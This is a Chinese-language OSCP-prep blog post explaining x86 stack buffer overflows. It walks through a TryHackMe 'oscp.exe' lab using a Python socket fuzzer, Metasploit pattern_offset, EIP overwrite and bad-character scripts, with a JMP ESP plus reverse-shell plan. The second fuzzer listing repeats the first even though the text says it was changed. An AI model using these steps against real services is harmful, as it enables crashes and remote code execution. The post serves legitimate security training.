滲透測試重新打底(9)--Buffer Overflow (BoF)


Posted by kahatrix on 2023-09-22

你今天用滑鼠去點兩下EXE的檔案,那這件事情在 Windows 底下會發生一些什麼事情? 那首先,Windows 會把這個 EXE 檔案安排到一個記憶體的區塊,這一個區塊我們稱之為 Process,他的大小是 4GB。這邊 4GB 很重要,我們可以看一下下面這張圖:

這邊從 0000 到 FFFF,一半是切給 User Mode那一半是切給 Kernel Mode。User Mode 簡單來說就是你可以在你作業系統上看到的東西,比如說檔案、工作管理員啊,不管什麼東西,只要你能夠肉眼看到可以去點,可以去執行,基本上都是 User Mode。 User Mode 裡面有什麼東西。這張圖上面藍色這個部分,第一個是 Stack,Stack 也就是我們這一堂Buffer Overflow 最重要的元素,你可以拿Stack來做參數的傳遞。比如說你今天有一個參數 ABC,那你要在這種執行檔裡面,他可能在編寫的時候會有一些 Function 的話,可以透過這個 Stack 這個概念把他傳到這 Function 裡面。那第二個是 Heap,他也是儲存資料用的。程式可能需要動態的去產生一個記憶體,可能會需要一個很大的記憶體區塊的時候,他會用 Heap。那反之,你可能已知你的剛剛提到的 Function 的參數的已知大小的話,他可能就會用 Stack。Stack 跟 Heap都只是為了幫助程式順利進行而切出來的一個記憶體的區塊,只是一個空間而已,本身不代表什麼東西。

那接下來的這個 Program Image,真正在 EXE 檔案之中比如說你會出現一些像組合語言,那他就是會放在這個 Program Image 底下。要注意的是Program Image 就是你的程式,基本上以 Windows 來說在32位元底下他都會在這個位置,就是 00400000,不會變。那接下來一個 EXE 他在執行的時候,跟我們寫程式可能很類似,他會需要一些 Library 的支援。那 Windows 有提供很多的 Library來幫助程式的開發者,比如說你寫遊戲的話可能會用到很多圖形方面的 Library,那在你自己寫的EXE被加載到這一整個記憶體區塊的時候,作業系統會自動的把你所需要的 DLL(把他想成 Library)給 Load 到這一塊記憶體裡面去。

接下來這個 TEB 跟 PEB比較沒有那麼重要。我們剛剛提說你點兩下 EXE 檔案,作業系統會把這個安排到一個記憶體區塊,那也就是這一整塊的記憶體區塊。安排的時候一定會需要記錄一些跟這個 Process 有關的東西,比如說像 Stack 要放哪、Heap 要放哪,這些事就跟這個 PEB 有關係。 PEB 他的全名叫Process Environment Block,儲存了跟 Process 有關的東西。大家可以看到這邊有個 PEB,這邊又有一個 TEB。在我們很單純的理解裡面,你點了一個 EXE 檔案,那他是不是就是一條龍執行下去呢? 其實不是的,Process 只是一個空殼,他存在的意義就是,他給你建構出了一個完整的空間,然後放了一個這個 PEB,把 Stack 該放哪、Heap 該放哪、 Image 該放哪記錄起來而已,Process 本身並不會執行任何的比如說 Assembly,那真正實體執行這種 Binary 的話是透過 Thread。

Thread 是真正負責執行 Assembly所作用的,那為什麼我們需要區別Process 跟 Thread ,因為一個 Process 裡面可能會有多個 Thread。比如說你寫一個遊戲,可能主選單一個 Thread,或者是你單純執行圖片可能也是一個 Thread。所以要記得一個 Process 可能會有很多個 Thread,OSCP 考試中並不會那麼複雜,基本上就是一個 Process對上一個 Thread。這邊要記得就是一個 Thread 它都會配備一個 Stack 一個 Heap。因為每一個執行的 Thread都會執行屬於自己的 Assembly或者是 Binary的那種 Assembly Code。那你要去支援這樣的 Assembly Code去執行,那你會需要剛剛所提到的 Function 的 Argument或者是屬於自己的動態記憶體的分配,那這樣子才不會說東西都被搞亂。

剛剛講完了藍色以上 User Mode 的部分,那藍色以下從這個 0x7FFF到 0xFFFF是屬於 Kernel 的部分。那在 Windows 的作業系統設計上,我們一般的使用者是沒有辦法碰到任何跟 Kernel 有關的東西。這是為了作業系統的安全,不去讓使用者去觸碰到跟 Kernel 有關的東西。那 Kernel 裡面包含什麼? Kernel 比較像是有 Driver 這種東西,這些 Driver 就是來 Support 這整個 User Mode要去執行所有東西。不管 User Mode 怎麼執行,最後一定都會跑到下面的 Kernel Mode,那這些 Kernel Mode 的東西就是 Windows 作業系統自己會去處理,等於就是不希望也不要讓你去觸碰到這一塊。

在 32 位元系統的記憶體區塊分割是 4 GB,2 GB 給 User Mode,2 GB 給 Kernel Mode。這個 User Mode 不管執行多少個程式,你只要在 User Mode 執行,他自己就會有 2 GB 的空間。但是這 2 GB 是給使用者看的,實際上這些記憶體空間是虛擬的,因為現實生活中你的 Windows 作業系統可能十幾個或是數十個 Process,不可能每個 Process 他的 Image 都是像這樣子 0x400 這樣的排列,他全部都是虛擬的。

但如果我們到了 Kernel Mode 他這個空間,他就是實體。我們沒有辦法去觸碰到他,所以我們基本上可以不用管他。這邊就是跟大家介紹一下,假設你在 Kernel Mode也會有很多個 Process,可能也是十來個、二十來個,在針對 Kernel Mode做 Debug 的話,你看到的就會是一個真實的 Address。所以 Kernel Mode 也會有很多自己的 Process, 但是所有的 Process會共用這 2GB 的空間,當然這是 32 位元作業系統的情況。

我們這堂課主要是講User Mode 的Buffer Overflow,不會去觸碰任何有關 Kernel Mode 的部分,這邊就是告訴大家說User Mode 是從 0 到 7FFF, Kernel Mode 就是從 800 到 FFF。

補充一下EXE 檔案我們可以把它叫做 Image,所以這邊可以看到他的這個寫法會是Program Image ,但是實際上指的就是 EXE 檔案本身。

接下來講一下底層跟組合語言相關的東西。比如說我們用Visual Studio去寫一個 C++ 的程式好了。我們要 Compile 一個 EXE 檔案,那他實際上是怎麼運作的呢? 他其實是這樣子: 首先你有一個C++ 的檔案,在 Compile 的第一個步驟,編譯器會把你的 C++變成 Assembly Code,Assembly Code也是Buffer Overflow我們一定會看到的東西,所以我們等一下也會稍微介紹一下一些常用的組合語言。

那這個組合語言會經過一個 Assembler,他會把C++程式碼包成一個Object File。如果說你是說單純考OSCP 的話,你要知道的東西就是Compiler 的概念,是 你的 C++ 或者是 C 的這種程式經過一系列的打包封裝之後,他會變成一個 EXE 的檔案,這是最簡單的一個說法。實際上的話就是他會先從C++ 這種程式語言變成 Assembly Code,然後再去針對這些Assembly Code 去做初步的封裝,封裝好之後會變成一個 Object File,或者你可以說他是一個 Binary都可以。那經過這個連接器,最後會變成 EXE,基本上就是讓 Binary能夠讓Windows 作業系統看懂,所以可能就是再加一些Header 的東西。他基本上沒有什麼特別高深的技巧在裡面,就只是為了讓 Windows 能夠看懂這個 Binary 去做最後一步的封裝。

那我們經過 C++ 拿到了一個 EXE 檔案,那在執行的時候我們想要去做 Debug 或者是做一些逆向工程的時候,我們才會用像是 Debugger 或者是Disassembler。那 Debugger 的話可能是 Immunity Debugger或者是Disassembler X64 Debugger或是 Olly Debugger 都很多;Disassembler 的話,比如說像是 IDA或者是Ghidra 這樣的逆向的工具把這個 EXE 還原成Assembly Code。我們之後提到的 Buffer Overflow,我們要透過 Debugger把一個 EXE拆開還原成 Assembly Code,然後會針對這個 Assembly Code 去做Debugging。

我們來講一點點 Assembly 好了。舉例來說,比如說你寫 C++或者是 Python 什麼樣都好,我們要做一個很簡單的加法,比如說A=1 B=2 C=A+B,所以 C=3。這個東西假設它是 C 語言然後被 Compile 成了一個 EXE 檔案的時候,我們再拿 Debugger 去把這個 EXE 檔案還原成 Assembly Code。這邊注意的是,一個 EXE 檔案被 Compile 之後不可能變回 C++,你沒有辦法看到它的原始碼,你最多只能看到的就是 Assembly Code。

a = 1;
b = 2;
c = a + b;

那我們來看一下剛剛的程式,經過Disassemble把它變成 Assembly 的話,我們可以看到它大概會長像這個樣子:

mov eax, 1
mov ebx, 2
add eax, ebx

Assembly 它的解讀法是這樣,第一個一定是動作,比如 MOV 是一個動作,ADD 是加法也是一個動作。第二個我們要看的是Register,就是所謂的暫存器。為什麼需要暫存器呢? 比如說你把這個A=1 B=2 把它對照一下,你可以看到這邊有個1那 A=1,你可以把它想成EAX 它就等於A,那 EBX 它就可能是等於 B。所以它真正做的事情是把1 這個數字Move,移動到 EAX 這個暫存器裡面;那第二行也是一樣。這個時候如果我再開了一個Debugger 然後執行完了這兩行程式之後,會看到我的 EAX 是 1、 EBX 是 2。那這個時候我們就準備好我們下一個程式,也就是 A+B、Add。它可以透過 Add EAX EBX 的這種寫法,執行完這行程式之後,其實會做的是把 EBX 加上EAX 原本有的東西,然後存在 EAX 裡面。

那我們會介紹一些其他常用的Register。第一個我們要介紹的是 EIP,全名好像是叫 Extended Instruction Pointer。它的存在的目的是什麼? 它的功用是對系統說我下一個要執行的指令是什麼。所以如果說你目前執行到了這個 Move EAX 然後 1 的話,它 EIP 會指向下一個。當你執行了下一個mov ebx,2之後,EIP 就會跑到下一個 Add EAX EBX。這個 EIP 非常的重要,我們做Buffer Overflow 的時候,會大量的跟 EIP 有關係。簡單來說EIP 就是我下一個要執行的指令的位置,這邊要記住它是一個位置。比如說 Move EAX存在在 10、第二個存在 20第三個存在在 30 的記憶體位置,那你在執行 10 的時候,你的 EIP 就會變成 20,你在執行 20 這個指令的時候,EIP 它會指向 30,大概是這樣的概念。

0x00112233
ASCII
32 bits 00000000 00000000 00000000 00000000
4 bytes  00        11       22      33

EIP: 指到下一個即將被執行的指令

EAX:加減乘除 - 尾 / Function return
EBX:用於陣列的某Offset
ECX:計數器
EDX:加減乘除 - 頭

ESI:陣列Copy - Source
EDI:陣列Copy - Destination

EBP:Stack Base
ESP:Stack Top

接下來介紹一些跟計算有關的 Register 好了。第一個是 EAX,可以看到說我上面的例子把 EAX 當作是一個加減乘除的一個值,基本上在這種 Assembly 裡面,EAX最常拿來做最後加減乘除的結果。因為有的時候如果值太大了,像這種 EAX、EBX 所有的 Register的長度都是 32 位元,那 32 位元加 32 位元 可能會變成 64 位元的大小,可能會超過了它能夠 Handle 的值。所以作業系統的做法是把 EAX跟 EDX做搭配,那 EDX 是頭、EAX 是尾巴。那實際的運用方法,我記得它會有一個Flag,當你的這種 Assembly這兩個東西一加超過了 EAX 本身能夠Handle 的值的話,會觸發一個 Flag ,讓作業系統知道說我之後要讀取的時候應該要讀取EDX 還有 EAX。

剛才我們有提到說一個 Function一定會有參數,除了參數以外還會有一個回傳的值,假設我今天用 Assembly定義了一個參數,那我的參數會放在剛剛有提到的這個 Stack 裡面,傳進去 Function 之後它會執行,最後得到一個回傳的值叫 Return。那 Return 通常只能 Return 一個值,那 Return 要放在哪裡? 答案就是這個 EAX。假設你在 Debug 一個小 Function 的話,最後 Debug 出來你想要知道它回傳的值是什麼,你就去 Debugger 看一下這個 EAX 它裡面存的是什麼。

我們再介紹一些 Register 好了。第二個是EBX,要講 EBX要跟ESI 、 EDI一起講。在組合語言裡面有陣列這種概念,它可能就是一個陣列有好幾個元素。舉個例子好了,比如說在 C++ 裡面有String Copy,它就可以利用像這種陣列的形式,比如說我要 Copy Test到一個參數裡面,那 Test這四個字會變成類似像一個陣列的一個形式。那因為整個陣列的長度不固定,但作業系統還是需要透過組合語言來追蹤這一個參數,那作業系統可以透過 ESI 這樣的 Register 去定義說,你的這個 ESI 的頭,我就是要指在 TEST 的 T 這個字。

比如說你一個陣列有十個 Item 好了,作業系統可以透過EBX來選擇說我要這一個陣列的第幾個 Offset,比如說我要第一個 Offset 它的值是多少、第二個 Offset 它的值又是多少,EBX 也可能是拿來做一個元素。提到陣列就來提一下ESI 跟 EDI這兩個 Register。舉例來說,我在一個程式裡面有一個像是 C++的 String Copy,我想要把 Test 這四個字 Copy 到A, A 等於 Test 這個字元,作業系統就會把這個 ESI 的值指向 Test 這個 T所在位置,結合 EBX就可以依序把 TEST去做取用。取用的方法就是 把EBX一直往上加,我就可以分別取用到TEST 這四個存在記憶體裡面的位置。

我們可以取到 TEST 這四個字,可是我們要做 Copy。Copy 要有一個目的,比如說我們剛剛說A 等於 String 的 Test,目的的話就是我們的 EDI,這個 D 就是 Destination;剛剛的 ESI 是 Source,所以只要跟ESI 或是 EDI 有關的話,基本上就是跟陣列有關,它要把 A 陣列的東西Copy 到 B 陣列,然後用 EBX 去取用每一個Index, 1 2 3 4這樣子去取用。

那第三個要講的是 ECX,ECX我這邊寫的是計數器。舉一個最簡單的例子,比如說我寫了一個 For Loop, j 等於 1然後 j 小於 10,那你在做 j++ 這件事情的時候,對於組合語言來說,它會先執行一個,比如說 Move 0 然後 ECX,先移初始值到這個 ECX 裡面,在你執行 For Loop 執行完一輪之後,你的 For Loop 要加 1,那這個時候就是用 Add ECX 1這樣子。

再來我們要講的是EBP 跟 ESP,這兩個東西就蠻重要的,因為它定義了這一個 function 之中。假設我執行到每個 function它 stack 的頭跟尾分別是多少。我們回到這個圖片好了,Stack 在執行的時候它是往上增長的,因為它會不停的塞東西進去,塞東西的時候它的值就會往上,越來越趨近於 0。那你東西用完了,這個 function 我執行完了,它就會往下,往下增長也就是記憶體的位置會越來越大。就是思考有點相反,塞東西的時候你位置的值會越來越小,那這個位置的值,指的就是我們的 ESP。我 stack最高,也就是數值最小的那個,記憶體位置是在哪裡,是由 ESP 來做指向。它其實就是記憶體空間的一個值。

EBP 也是一樣,它也是一個記憶體空間的值。它就是說我針對某一個 function,我的 stack 的底是多少,function 就可以知道說好,你給我用 ESP 跟 EBP 定義出了一個記憶體區塊,那這一個區塊間就是這個 function可以用到的參數的空間的大小。

那接下來介紹一些常見的 assembly會用到的指令好了。第一個我們要介紹的,就是剛剛介紹過的加法,那也有減法,我實際寫幾個常用的給大家看一下:

add 加法 add eax, 1 | add eax, ebx 
sub 減法 sub eax, 1 | sub eax, ebx | sub eax, eax
jmp 直接跳轉 jmp eax , jmp 0x00400001
call 呼叫function 
call 0xABC
sub eax, 1 <-- stack
...
...
...

0xABC:
  sub eax, eax
  add eax, 1
  ret  --> eip

push eax      ; push eax's data to top stack,   esp = esp - 4
pop eax       ; pop data from top stack to eax, esp = esp + 4
ret           ; pop EIP; jmp EIP

這個 return 非常重要。舉個例子好了,假設我今天有一條assemble 叫這個 call abc,然後 abc 在某個很遠的地方。這個時候程式的執行流程,當我在執行這一條的時候,eip 就會指向在 abc,一執行這個 call abc 的時候馬上會跳到這裡。實際上來說 abc 他會是一個位置,比如說他的位置就叫0x abc,
那這邊的0x abc執行完這三條指令,到最後這個 return 的時候,他就會回到這一個 call 0xabc 的位置的下一個,也就是sub eax。

在 call 0xabc 的時候,作業系統會先把sub eax這一行的位置放到 stack 裡面,那把所有參數全部都執行完之後,這個 return 他會把剛剛我放入 stack 的 address放到eip 裡面,這樣子我就可以知道說,我呼叫了 abc 之後,作業系統透過 return 這一個指令,幫我把 eip 放回去。那 eip 是多少? 就是原本我應該執行的下一個指令。只是因為這個 call先被這樣子 redirect,重新定向到這裡,執行完然後最後再跑回來然後繼續執行這樣子。

那接下來是講這個 push 跟 pop這兩個 assembly。寫法就是 push 然後隨便一個值或者是 register 都可以,push 就是要推嘛,我們要把推東西到 stack 裡面,那推到 stack 哪裡呢? 就是最高的地方。剛剛提到說stack 如果增加了,他的值其實是會遞減的,假設這邊是 abc,那增加了他是不是可能變成ab8 或是 ab0,esp 會越來越趨近於 0。

跟 push 相反的是 pop,pop 就是把東西這樣彈出來,那你把東西彈出來了,你的 stack 東西就變少了,指向 stack 最頂端的 esp 數字會變大因為他會離 0000 越來越遠,他會一路往下,越來越小。

稍微總結一下,stack 是 last in first out,最後推進去的東西在 pop 的時候會先被 pop 出來。第二個事情是stack 是作為儲存 function的 argument 或是參數,那 push 會讓 stack 的體積越來越大,體積越來越大的同時,esp(stack 的 top 值)會越來越小,會一直趨近於 0。反過來 pop 會向下增長,stack 縮水了,但是指向 stack 頂端的 esp 的值會變大。只有 pop 跟 push可以改變 esp 的值,因為他就是固定要指向 stack 的頂點。

coding convention 就是我呼叫function 的方法,就是透過保存到 stack然後再進入 function,有些的話可能會說我先進入 function,然後我才要透過 move 的方式一個一個把它放到我自己的 register 裡面,比如說是放到 eax, ebx, ecx這類的。那最常用的是我們叫 std code。他的運作方法就是我剛剛所提到的,把參數保存在 stack,然後再進入 function。當我保存完參數之後,保留下一個 instruction 位置。

我們先來看一下一個小程式好了。這邊有一個 main 就是主程式,他做的事情很簡單,他就是呼叫一個 test function然後 2 跟 3,然後 return 0。這個 test function 只是呼叫了兩個變數,然後在 function 裡面去針對這個變數做 assign,那 return 也是 return 0,所以這個小東西是一個完全沒有任何作用的 function。

int test(int a, int b)
{
  int x, y
  x = a;
  y = b;
  return 0;
}

int main()
{
  test(2,3);
  return 0;
}

那如果說今天我就是要把他變成 disassembly 的話,看一下他大概會發生什麼事情。

main:

101 push 3        ;     stack:    2  <- ESP = ESP - 4
102 push 2        ;               3  <- ESP = ESP - 4
103 Call test     ; 偷偷做push 104
104 add esp, 0x08 ; 恢復先前因push而被減掉的stack
105 xor eax, eax  ; main's return 0

test:
|esp-8| -> esp
..
|esp| -> ebp
...
|ebp|

200 push ebp               ; 保存Main EBP值  EBP = 1111 -> stack, ESP = 1100
201 mov ebp, esp           ; 創造新的Stack, EBP 變小 往上跑
202 sub esp, 0x08          ; 為新的Stack開 Local buffer

203 mov eax, [ebp+0x08]    ; eax = 3
204 mov [ebp-0x04], eax    ; store to local variable
205 mov eax, [ebp+0x0c]    ; eax = 2
206 mov [ebp-0x08], eax    ; store to local variable

207 xor eax, eax           ; eax = 0, test's return 0
208 mov esp, ebp           ; 還原原本 ESP
209 pop ebp                ; 還原原本EBP
20A ret

這個 main function整個 code,這個 101 102 103 104 105是位置, 101 位置儲存的是 push 3,102 儲存的是 push 2,那我們看一下,在開始執行 main 的時候,作業系統知道我等一下要執行 test然後放兩個參數2、3,所以他就會 push 3,push 到 stack 的時候,esp 的值是 2,那執行這個 push 2 的時候,stack 會減 4,那接下來就是call test。當他執行的時候,他會在我們沒有看到的 instruction,做一個 push 104,就是下一個要被執行的 instruction位置。那什麼時候會用到呢? 最後在 test 的這個尾巴會做一個 return,return 會把最後這個 104放到 eip,這樣在執行完這個 test 的時候,系統就知道說好我接下來要執行這個。

我們先來看一下test 這個 function,這種 std code就是我們剛剛介紹的coding convention 裡面,你基本上一定都會看到前面這三個 instruction(位址200-202)。這三個是做什麼的呢? 簡單來說就是要為了這個 test function擴大他的 stack 的大小。所以可以看到 esp -8,為什麼 -8? 因為一個參數的大小是 4,兩個參數的大小就是 8。所以他這三個東西就是保存原本的 ebp 值,然後創造一個新的 stack,讓 ebp 變小。

假設ebp 等於 1111,esp 等於 1100,那這個時候首先他做了一次 push ebp,所以ebp 這個 1111被放到了 stack 裡面把他存起來。再來他把 esp 的值,也就是這個 1100,他把他放到 ebp 裡面。這個時候用圖片來看,就好像是: 原本的 esp 是某個數字,但是透過這個move ebp esp,等於是把esp 變成了 ebp。也就是這一個 function他新的 ebp。然後在這一個原本 esp -8 的地方,他就變成了一個新的 esp。就是這三個 assembly 就是擴張 stack 的空間,讓接下來這些 function都可以拿去用。

接下來就是做一個數值的 assign,這個 eax = 3就是原本的這個 x=a跟 y=b。這邊可能會好奇說為什麼這樣寫,首先我們可以看到ebp 是不是我們原本在呼叫之前的 esp,那這邊加8的話,還是對應到這個是 3 然後移到這個 eax。那這個 eax 只是一個暫位。

這個function乍看之下沒有什麼事情,但是要注意一下在function之中,我們剛剛提到return是要透過eax來實現,在這個地方有一個XOR,那你自己跟自己的XOR會得到零。這個XOR eax就已經準備好要把零給return回來了。但是這還沒完成,為什麼?我們剛剛不是新創了一個stack嗎,這個新的stack也要還回來。要怎麼還? 就是透過208、209這兩行。208的EBP是什麼,我們這邊原本一開始他對應的就是201,move EBP ESP,現在是move ESP EBP,就是把這個EBP還回ESP。我們還有一個原本就在進入這個function之前的EBP要怎麼辦呢? 不用擔心,因為一開始他就被我們push 到EBP裡面,那因為我們的ESP已經回來了,那我們只要透過pop EBP 把這個東西pop回來就可以了。那這時候EBP我們就馬上指回這裡,完成了一個stack的歸還。

大家可能會好奇說Buffer Overflow跟這些到底有什麼關係呢? 我們會用的這個Buffer Overflow也是TryHackMe的這個Lab,我們來簡單介紹一下這個Debugger好了。

大家可以看到這邊這個oscp.exe有很多個Assembly,可以看到我們有提到的Push Instruction、Move Instruction也有Sub。我們先根據他的要求先load一個東西:
!mona config -set workingfolder c:\mona\%p

我現在輸的這個東西是因為這個Debugger他有一些Plugin,這個Plugin是叫mona,這個Plugin等一下會很有用。上圖指令上面的黑窗其實只是一個Memory dump,他就是根據我的記憶體的位置然後去秀出他裡面所存的東西,那他是8個為一行。

上圖上面這些其實是EAX、ECX、EDX這些Instruction以及最重要的EIP。

把上上張圖片的下面放大變成上圖,這些是Stack他的值以及他裡面所儲存的東西,我們知道Stack被ESP跟EBP所定義,所以看到上上張圖的上面,ESP他後三碼是F8C,然後上圖這邊就是F8C,這個地方他顯現的就是ESP所儲存的數值。

那再來可以看到說你既然是Debugger,你一定要有Run,在跑的時候你可以Pause就是暫停,Restart就是重開,Close就關掉這個OSCP.exe的Debug。如果在你要跑一個程式的時候,你可以指定第一個最簡單的就是Run。那他在Run的時候他右下角寫的是會有Running,那我們也可以透過Pause去暫停他,那就可以看到目前EIP是多少。在Run的時候也有幾種不同的跑法,第一個是Step into跟Step over,這兩個的差別就是在你今天遇到call這個指令,我要進去一個新的Function。Step into的話,假設你今天是在call的Instruction,你Step into,Debugger會進入這個Function去做Debug看看裡面有什麼Assembly。Over就是我要跳過,就有點像是跳過Call這個Function,我就可以直接看說經過這一個Call的呼叫,他回傳了什麼東西。那回傳的東西會在哪呢? 會在這個Eax上面,這大概就是Debugger的一個基本的介紹。

那Debug是什麼? 就是你在這裡面一直不停的看Assembly,然後去看說他有沒有依照我所想的來運作。那我們要看什麼? 要看可以看說他這邊的Eax他回傳的值,或是ECX,我們提到的For Loop的的計數器的Counter,基本上這就是一個Debug。

點了一個這個M,M是Module,可以來稍微看一下我們一開始介紹的程式。我們剛剛說了點了兩下EXE他會發生一些事情,你可以看到在這邊這一長串的Address,然後在這個40000的地方有個PE HEADER,然後這個有個Owner是OSCP。這個意思就代表著我們的OSCP.exe的ProgramImage被放到了這個40000上面。

當然還有這個,像上面我們說放Stack,這可能是22D000,那這邊是Stack of Main Thread,就是說這個OSCP.EXE,我目前執行到的Thread他所用的Stack的位置是在這裡。

我們剛剛還有提到有Library,我們叫DLL,像這個ESS Function或者是WSHTCPIP,這些都是Library。

到這裡我們稍微簡單介紹一下Debugger的這個東西,我們接下來要介紹的是Stack Buffer Overflow。假設今天在C++有一個Function叫String Copy,那String Copy就是一個字串放到一個變數裡面。比如說變數A等於一個String,String是Tester。那我們會分為兩種情況,一個是正常使用一個是不正常使用。首先我們假定程式會讀取使用者的Input,透過String Copy把這個Input放到Stack之中。因為在一個Function裡面我們會透過我們已知長度的一個變數或是一個參數,我們會用Stack去把他Handle起來做後續的處理。

假設我們今天宣告了一個變數,然後他的大小是8,然後我們讀取了8個文字可能是ABCDEFGH。那我們在Stack的上面會大概會長這個樣子:

會有Input,然後ABCDEFGH那也會有一開始我們Call的時候,會有一個Return Address,就是說我目前這個Function執行完了我要跳回哪裡去,那我要跳就是會記錄在Stack裡面。如果說今天相安無事,那一行就是4個Byte,兩行是8個Byte。我宣告了8個Byte,也給他8個Byte那大家相安無事繼續執行,然後Return Address。

可以看到Assembly這邊有個retn,就是Return。我們來看一下在Assembly他會怎麼樣運作好了:

可以看到現在我的EIP是這個數字,什麼70B4,他剛好要執行Return。這個時候可以看到Return會根據你ESP的值來寫入你的這個EIP。再一次,他會根據你ESP裡面所放的值來寫入你的EIP,也是在Assembly裡面唯一能夠影響EIP值的方法,就是透過這個Return。ESP裡面放多少,在執行Return的時候這個值就自動copy到EIP裡面。

目前是70B4,但是在執行完Return之後EIP應該會跳回067D:

那剛剛這邊說的跟執行的,都是一個正常的情況下,我有一個input,然後大小也確定,在執行完return function的時候他會跳轉回該跳轉的地方。好那在buffer overflow的情況,如果使用者給了超出預期大小的input,導致這個return address被覆蓋了,比如說我這邊原本只能handle長度為8的大小的變數,我一下給他長度為12的文字,那這個時候我的esp所存的東西就被覆蓋了。被覆蓋之後程式再做一次return的話,就等於改寫了我的eip,然後會做一個錯誤的跳轉,這個概念就是一個buffer overflow。

這樣的攻擊給了一個錯誤的跳轉位置,頂多會造成denial of service(DoS),沒有一個實質的攻擊效用。所以下一步我們就是要嘗試去把我的eip這件事情去讓他開始變成有效的攻擊。

那接下來就這整個lab圍繞在改寫eip,首先我們來實際跑看看這個oscp.exe:

attack factor很簡單,就是要你overflow1,然後給一個很長串的東西,讓他長到足夠去改寫掉esp,然後在return instruction的時候trigger一個overflow,那這就是基本上就是他的目的。這邊已經給了一個poc讓你用:

#!/usr/bin/env python3

import socket, time, sys

ip = "MACHINE_IP"

port = 1337
timeout = 5
prefix = "OVERFLOW1 "

string = prefix + "A" * 100

while True:
  try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.settimeout(timeout)
      s.connect((ip, port))
      s.recv(1024)
      print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
      s.send(bytes(string, "latin-1"))
      s.recv(1024)
  except:
    print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
    sys.exit(0)
  string += 100 * "A"
  time.sleep(1)

那在這個地方我們可以嘗試一下,針對這個application做測試。那我們測試的方法,是把這個a的長度改的越來越長,來測試看看他在多少個a的時候會整個crash掉。答案是2000時他大概會crash掉。那我們先來測試一下,看看這個oscp.exe發生什麼事情,這邊說access violation:

這個時候可以看到右上角FA30是我們的esp,我們把它改寫成了41414141,又因為執行return的關係,他改寫了eip,所以嘗試去執行位置41414141所在的assembly,但是沒有這個東西。用m來看一下,可以看到module的這個地方41414141根本沒有東西,根本沒有被define也沒有被拿來做使用,所以他會直接出現一個access violation,因為根本不存在。那這件事情就是一個denial of service。

我們找到了這樣的一個bug,要怎麼樣去攻擊他? 接下來我們雖然知道他傳了2000,可是我們並不知道他到底出錯,他出錯在哪裡,我們要正確找出說我究竟要傳多少個A,他才能精準的改寫這邊這個41414141。

接下來我們可以用Kali Linux提供的一個叫Pattern Create的工具。他會產生出一個幫助你定位Offset的字串。好,有在這,然後來產生一個2000的不重複的字串:

然後copy起來,就這樣貼到原本的POC的A*100,那我這邊就變成一個overflow+2100個字。那這個字能夠幫助我們精準的定位這個EIP要多少的時候才可以剛好覆蓋。

#!/usr/bin/env python3

import socket, time, sys

ip = "MACHINE_IP"

port = 1337
timeout = 5
prefix = "OVERFLOW1 "

string = prefix + "A" * 100

while True:
  try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.settimeout(timeout)
      s.connect((ip, port))
      s.recv(1024)
      print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
      s.send(bytes(string, "latin-1"))
      s.recv(1024)
  except:
    print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
    sys.exit(0)
  string += 100 * "A"
  time.sleep(1)

restart之後可以按run program,他就會直接開始跑。好了之後我們再回到我們的kali,再執行我們的POC,來看一下他會在哪裡crash。可以看到這一次我們用新的pattern offset,他這邊的EIP會變成6F43396E:

除了pattern create之外也有一個pattern offset,他的用法是這樣的:

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 6F43396E
[*] Exact match at offset 1978

可以看到在1978這個長度的時候可以做crash,也就是說這個EIP你要變成1979、1980、1981、1982這四個字會覆蓋掉EIP。所以這個時候我們的POC可以改寫一下:

4就是我們EIP的大小。這個時候我們來驗證一下,驗證說我們的EIP是不是會變成BBBB,也就是42424242:

好可以看到在這一個EIP這個地方被我們成功覆蓋成為42424242,這邊還有很長一串的CCCCCC是我們的PADDING的部分,那到這邊我們可以說好我們成功的做了一個完整的Buffer Overflow,並且我們知道我們要精準的給出1978個前綴,加上一個EIP,然後加上後面的PADDING。接下來有幾個思路,那這邊最簡單的思路就是我們要找出說我們要在這個EIP上面做文章。我們要找到一個適當的EIP,那什麼是適當的EIP呢? 比如說我重新做Debug,我們要找到一個EIP,他可能是某一個Instruction,我們想要找一個可以執行我們剛剛放CCCC的地方或是我們放AAAA的地方。為什麼呢? 因為我們可以把這一個PADDING改成一些惡意的Assembly,讓他可以執行一個Reverse Shell。那我們的EIP我們只要找到一個可以帶領我們的執行流程,比如說Jump ESP,他就會自動的直接跳轉過來然後執行我們的Assembly。再一次,我們要找到一個好用的EIP,我們想要一個值像是Jump ESP,當Overflow一發生,他會直接跳到某一個像比如說這個位置,執行這個Assembly。Jump ESP之後他又會Jump到我們這邊這一串,這是我們的目標。

我們覆蓋了EIP,那我們要找一個可以Jump ESP或是call ESP的一個位置,CPU在執行的時候就會執行這個Assembly,並且把程式的執行流程執行到Stack上面的機械碼。這個Stack上面的機械碼呢是我們完全掌握的,也就是惡意的Reverse Shell,那這可以用MetaSploit的MSF來產生。

真正執行之前我們要先注意一下Application在接受Input的時候,有些字元他會被bin除掉,會被block住,我們叫bad char壞字元。Application在跑的時候他會阻斷我們的這個String的這一串文字,如果這裡面有bad char,Application會覺得他不吃這個東西,進而他會把他block起來。這邊列出常見的一定會要block的就是0x00,ASCII code的0。再來是0x0a、0x0d,這兩個是因為他是HTTP的換行,如果你輸入了這個,通常有很高機率也會失敗。或者是0x20,他是空格,有時候也會失敗。

\x90其實是NOP,就是No Operation。這個是一個很好的的Instruction,因為在我們這樣一整串Buffer,其實有時候很容易會出現問題,比如說我們這樣串了一大串東西,可能他這邊的Prefix有什麼東西會影響到Overflow,或是Overflow的Assembly會影響到EIP或是Padding自己會影響到EIP,都會互相影響。所以我們EIP跟Padding之間要給他一個NOP,這樣子就算被影響了也不會影響我們最後的Overflow的這整個Exploit。那這個大小通常會給到8或是16。

這邊badchar故意塞一個0x00,後面塞一些C,來測試看看塞在0x00後面的這些C會不會出現:

這邊可以看到他仍然Overflow,但是可以看到我們的909090接了一個00,但是我們的CCCC都不見了。這個就是Badchar的影響,你只要遇到Batchar他後面的東西基本上是不會顯現的。我們要怎麼樣去找出有什麼Batchar呢? 那這邊我提供了一個小Script,他可以產生ASCII Code的0-0XFF,就是要反覆去測試:

for x in range(1, 256):
  print("\\x" + "{:02x}".format(x), end='')
print()

